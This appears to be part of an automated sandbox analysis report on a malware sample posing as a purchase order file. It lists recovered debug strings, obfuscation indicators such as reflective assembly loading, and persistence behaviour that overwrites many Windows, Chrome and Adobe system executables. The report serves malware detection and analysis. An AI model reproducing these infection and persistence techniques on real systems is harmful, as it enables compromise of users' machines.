Source: Binary string: P:\Target\x86\ship\mso\x-none\smarttaginstall.pdball.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.668020064.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.667542276.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: Reader_SL.pdb..) source: Purchase_Order.exe, 00000001.00000003.516126566.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\rmiregistry_objs\rmiregistry.pdb source: Purchase_Order.exe, 00000001.00000003.761123290.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\klist_objs\klist.pdb source: Purchase_Order.exe, 00000001.00000003.752377274.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\sqm\x-none\msosqm.pdbsqm.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.640806729.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: snmptrap.pdb source: Purchase_Order.exe, 00000001.00000003.335145812.0000000003DF0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.333123291.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: GoogleUpdateComRegisterShell64_unsigned.pdbS source: Purchase_Order.exe, 00000001.00000003.705062632.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\ses\x-none\oarpmany.pdbany.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x source: Purchase_Order.exe, 00000001.00000003.651158367.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\AcroBroker.pdb source: Purchase_Order.exe, 00000001.00000003.459984252.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\setupexe\x-none\deployca\odeploy.pdbloy.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.658397315.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.656044699.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\dw\x-none\dwtrig20.pdbg20.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004p source: Purchase_Order.exe, 00000001.00000003.619501064.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: GoogleUpdateComRegisterShell64_unsigned.pdb source: Purchase_Order.exe, 00000001.00000003.705062632.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\deploy\tmp\jp2launcher\obj\jp2launcher.pdb source: Purchase_Order.exe, 00000001.00000003.748666610.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb77.GCTL source: Purchase_Order.exe, 00000001.00000003.506567462.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: msiexec.pdb source: Purchase_Order.exe, 00000001.00000003.310525958.0000000004A90000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\CB\ServiceUpd_Acrobat\BuildResults\bin\Release\RNAServicesUpdater\RdrServicesUpdater.pdb source: Purchase_Order.exe, 00000001.00000003.394007740.00000000048C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: 6\ship\setupexe\x-none\setup.pdb source: Purchase_Order.exe, 00000001.00000003.417856509.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\wxp\x-none\csisyncclient.pdbent.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.629783944.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\CB\ARM_Main\BuildResults\bin\Win32\Release\armsvc.pdb A source: Purchase_Order.exe, 00000001.00000003.269898188.0000000003E90000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ADelRCP_Exec.pdb source: Purchase_Order.exe, 00000001.00000003.492138145.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\CB\ARM_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: Purchase_Order.exe, 00000001.00000003.269898188.0000000003E90000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: eat.pdb source: Purchase_Order.exe, 00000001.00000003.665432985.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.666559573.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\dw\x-none\dw20.pdbw20.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000`= source: Purchase_Order.exe, 00000001.00000003.607540838.0000000001510000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ThunderFox.pdb source: AppLaunch.exe, 00000003.00000002.297345256.0000000009050000.00000004.08000000.00040000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.296164807.0000000006BA1000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: led.pdb source: Purchase_Order.exe, 00000001.00000003.644305213.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.427229509.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.643595874.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.426700254.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: WmiApSrv.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.379022194.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: GoogleUpdateOnDemand_unsigned.pdb source: Purchase_Order.exe, 00000001.00000003.710069802.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\filters\x-none\fltldr.pdbldr.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.634329246.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x64\ship\xdext\x-none\msoxmled.pdbled.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000( source: Purchase_Order.exe, 00000001.00000003.427229509.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: locator.pdb source: Purchase_Order.exe, 00000001.00000003.316389499.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\dw\x-none\dw20.pdbw20.pdb0000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.600971914.0000000001880000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\sqm\x-none\msosqm.pdb source: Purchase_Order.exe, 00000001.00000003.640806729.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.641382460.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\Eula.pdb source: Purchase_Order.exe, 00000001.00000003.503224284.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: GoogleCrashHandler64_unsigned.pdb source: Purchase_Order.exe, 00000001.00000003.697135152.0000000001510000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\javaw_objs\javaw.pdb0 source: Purchase_Order.exe, 00000001.00000003.676197496.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\TextExtractor.pdb555 source: Purchase_Order.exe, 00000001.00000003.487035926.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\delivery\x-none\ose.pdb source: Purchase_Order.exe, 00000001.00000003.416561745.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.313410080.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.415241710.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.311842101.0000000004F80000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: wbengine.pdb source: Purchase_Order.exe, 00000001.00000003.373276170.0000000004540000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\mso\x-none\smarttaginstall.pdb source: Purchase_Order.exe, 00000001.00000003.668020064.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.667542276.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: all.pdb source: Purchase_Order.exe, 00000001.00000003.668020064.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.667542276.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\rmid_objs\rmid.pdb source: Purchase_Order.exe, 00000001.00000003.759773337.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: tup.pdb source: Purchase_Order.exe, 00000001.00000003.663585045.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.660784191.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.417339030.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.417856509.00000000015C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: Reader_SL.pdb source: Purchase_Order.exe, 00000001.00000003.516126566.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\kinit_objs\kinit.pdb source: Purchase_Order.exe, 00000001.00000003.751130909.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: snmptrap.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.335145812.0000000003DF0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.333123291.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: msdtcexe.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.308135186.0000000004A30000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: 64BitMAPIBroker.pdb source: Purchase_Order.exe, 00000001.00000003.514668898.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\jjs_objs\jjs.pdb source: Purchase_Order.exe, 00000001.00000003.746263657.0000000001600000.00000004.00001000.00020000.00000000.sdmp, jjs.exe.1.dr
Source: Binary string: GoogleUpdateCore_unsigned.pdbW source: Purchase_Order.exe, 00000001.00000003.707996379.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\CB\ARM_Main\BuildResults\bin\Win32\Release\AdobeARMHelper.pdb source: Purchase_Order.exe, 00000001.00000003.391349644.00000000048C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\setupexe\x-none\olicenseheartbeat.pdbeat.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.665432985.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.666559573.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\servertool_objs\servertool.pdb source: Purchase_Order.exe, 00000001.00000003.762370196.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\deploy\jre-image\bin\javaws.pdb source: Purchase_Order.exe, 00000001.00000003.679340174.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb source: Purchase_Order.exe, 00000001.00000003.506567462.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\java_objs\java.pdb source: Purchase_Order.exe, 00000001.00000003.672859079.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: g20.pdb source: Purchase_Order.exe, 00000001.00000003.619501064.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.617464391.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\ses\x-none\oarpmany.pdb source: Purchase_Order.exe, 00000001.00000003.646119900.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.651158367.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: lua.pdb source: Purchase_Order.exe, 00000001.00000003.635458782.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.636503334.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: GoogleCrashHandler64_unsigned.pdbm source: Purchase_Order.exe, 00000001.00000003.697135152.0000000001510000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: WmiApSrv.pdb source: Purchase_Order.exe, 00000001.00000003.379022194.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ldr.pdb source: Purchase_Order.exe, 00000001.00000003.631821112.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.634329246.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\deploy\tmp\ssvagent\obj\ssvagent.pdb source: Purchase_Order.exe, 00000001.00000003.764399849.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\jabswitch\jabswitch.pdb source: Purchase_Order.exe, 00000001.00000003.739297204.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: c:\re\workspace\8-2-build-windows-i586-cygwin\jdk8u211\12973\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb source: Purchase_Order.exe, 00000001.00000003.769297878.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: xbgmsvc.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.388077831.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\dw\x-none\dwtrig20.pdbg20.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.617464391.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: ALG.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.276164697.0000000004540000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\dw\x-none\dw20.pdb source: Purchase_Order.exe, 00000001.00000003.600971914.0000000001880000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.607540838.0000000001510000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: Purchase_Order.exe, 00000001.00000003.302834771.0000000003F30000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\dw\x-none\dwtrig20.pdb source: Purchase_Order.exe, 00000001.00000003.619501064.0000000001650000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.617464391.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: locator.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.316389499.0000000004AB0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\delivery\x-none\ose.pdbose.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000P source: Purchase_Order.exe, 00000001.00000003.313410080.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\wxp\x-none\csisyncclient.pdbent.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000`" source: Purchase_Order.exe, 00000001.00000003.630878576.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: wbengine.pdbGCTL source: Purchase_Order.exe, 00000001.00000003.373276170.0000000004540000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\delivery\x-none\ose.pdbose.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.416561745.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.415241710.00000000015C0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.311842101.0000000004F80000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\setupexe\x-none\liclua.pdblua.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.635458782.00000000015D0000.00000004.00001000.00020000.00000000.sdmp, Purchase_Order.exe, 00000001.00000003.636503334.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\xdext\x-none\msoxmled.pdbled.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Purchase_Order.exe, 00000001.00000003.643595874.00000000015D0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: P:\Target\x86\ship\sqm\x-none\msosqm.pdbsqm.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000@&Z&d& source: Purchase_Order.exe, 00000001.00000003.641382460.0000000001650000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: D:\CB\ServiceUpd_Acrobat\BuildResults\bin\Release\RNAServicesUpdater\RdrServicesUpdater.pdb,, source: Purchase_Order.exe, 00000001.00000003.394007740.00000000048C0000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

barindex
Source: Purchase_Order.exe, IJ/zr.cs .Net Code: rJ8 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.Purchase_Order.exe.cb0000.0.unpack, IJ/zr.cs .Net Code: rJ8 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 0_2_055DE5A8 push eax; ret 0_2_055DE5A9
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048C7405 push ecx; ret 1_3_048C7418
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048D1ED5 push ecx; ret 1_3_048D1EE8
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048D08EE push ecx; ret 1_3_048D0901
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048BF9F2 push ecx; mov dword ptr [esp], 41200000h 1_3_048BFB0B
Source: C:\Users\user\Desktop\Purchase_Order.exe Code function: 1_3_048C6B3A push ecx; ret 1_3_048C6B4D
Source: perfhost.exe.1.dr Static PE information: 0xBC64E3B0 [Thu Feb 27 12:08:16 2070 UTC]
Source: msdtc.exe.1.dr Static PE information: section name: .didat
Source: GoogleCrashHandler64.exe.1.dr Static PE information: section name: _RDATA
Source: GoogleCrashHandler64.exe.1.dr Static PE information: section name: .gxfg
Source: GoogleCrashHandler64.exe.1.dr Static PE information: section name: .gehcont
Source: msiexec.exe.1.dr Static PE information: section name: .didat
Source: MsSense.exe.1.dr Static PE information: section name: RT_CODE
Source: MsSense.exe.1.dr Static PE information: section name: .didat
Source: Spectrum.exe.1.dr Static PE information: section name: .didat
Source: alg.exe.1.dr Static PE information: section name: .didat
Source: FXSSVC.exe.1.dr Static PE information: section name: .didat
Source: elevation_service.exe.1.dr Static PE information: section name: .00cfg
Source: elevation_service.exe.1.dr Static PE information: section name: .gxfg
Source: elevation_service.exe.1.dr Static PE information: section name: .retplne
Source: elevation_service.exe.1.dr Static PE information: section name: .voltbl
Source: elevation_service.exe.1.dr Static PE information: section name: _RDATA
Source: TieringEngineService.exe.1.dr Static PE information: section name: .didat
Source: vds.exe.1.dr Static PE information: section name: .didat
Source: VSSVC.exe.1.dr Static PE information: section name: .didat
Source: WmiApSrv.exe.1.dr Static PE information: section name: .didat
Source: wmpnetwk.exe.1.dr Static PE information: section name: .didat
Source: SearchIndexer.exe.1.dr Static PE information: section name: .didat
Source: SQLDumper.exe.1.dr Static PE information: real checksum: 0x1ecb1 should be: 0x15a671
Source: Purchase_Order.exe Static PE information: real checksum: 0x0 should be: 0x170539
Source: initial sample Static PE information: section name: .text entropy: 7.968538835084613
Source: initial sample Static PE information: section name: .reloc entropy: 7.927131671432149
Source: initial sample Static PE information: section name: .reloc entropy: 7.931119795420617
Source: initial sample Static PE information: section name: .reloc entropy: 7.922030595919862
Source: initial sample Static PE information: section name: .reloc entropy: 7.933964647214904
Source: initial sample Static PE information: section name: .reloc entropy: 7.923214338187245
Source: initial sample Static PE information: section name: .reloc entropy: 7.929550118304139
Source: initial sample Static PE information: section name: .reloc entropy: 7.930867971915488
Source: initial sample Static PE information: section name: .reloc entropy: 7.923760544793028
Source: initial sample Static PE information: section name: .reloc entropy: 7.928113937681937
Source: initial sample Static PE information: section name: .reloc entropy: 7.926618542171418
Source: initial sample Static PE information: section name: .reloc entropy: 7.9283128338047995
Source: initial sample Static PE information: section name: .reloc entropy: 7.921147078278716
Source: initial sample Static PE information: section name: .reloc entropy: 7.932357376957555
Source: initial sample Static PE information: section name: .reloc entropy: 7.923053122958539

Persistence and Installation Behavior

barindex
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\VSSVC.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\wbengine.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Google\Chrome\Application\104.0.5112.81\chrome_pwa_launcher.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Google\Chrome\Application\104.0.5112.81\Installer\chrmstp.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Google\Chrome\Application\104.0.5112.81\elevation_service.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\wbem\WmiApSrv.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\SearchIndexer.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Google\Chrome\Application\104.0.5112.81\Installer\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\TieringEngineService.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Common Files\microsoft shared\OFFICE16\CMigrate.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\vds.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\alg.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\snmptrap.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\Spectrum.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Windows Media Player\wmpnetwk.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\Locator.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\AgentService.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files (x86)\Common Files\microsoft shared\Source Engine\OSE.EXE Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\AppVClient.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\FXSSVC.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\xbgmsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\OpenSSH\ssh-agent.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\SysWOW64\perfhost.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\msiexec.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Common Files\microsoft shared\VSTO\10.0\VSTOInstaller.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Google\Chrome\Application\104.0.5112.81\notification_helper.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\SensorDataService.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Windows\System32\msdtc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe System file written: C:\Program Files\Common Files\microsoft shared\OFFICE16\MSOXMLED.EXE Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
Source: C:\Users\user\Desktop\Purchase_Order.exe File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe Jump to behavior
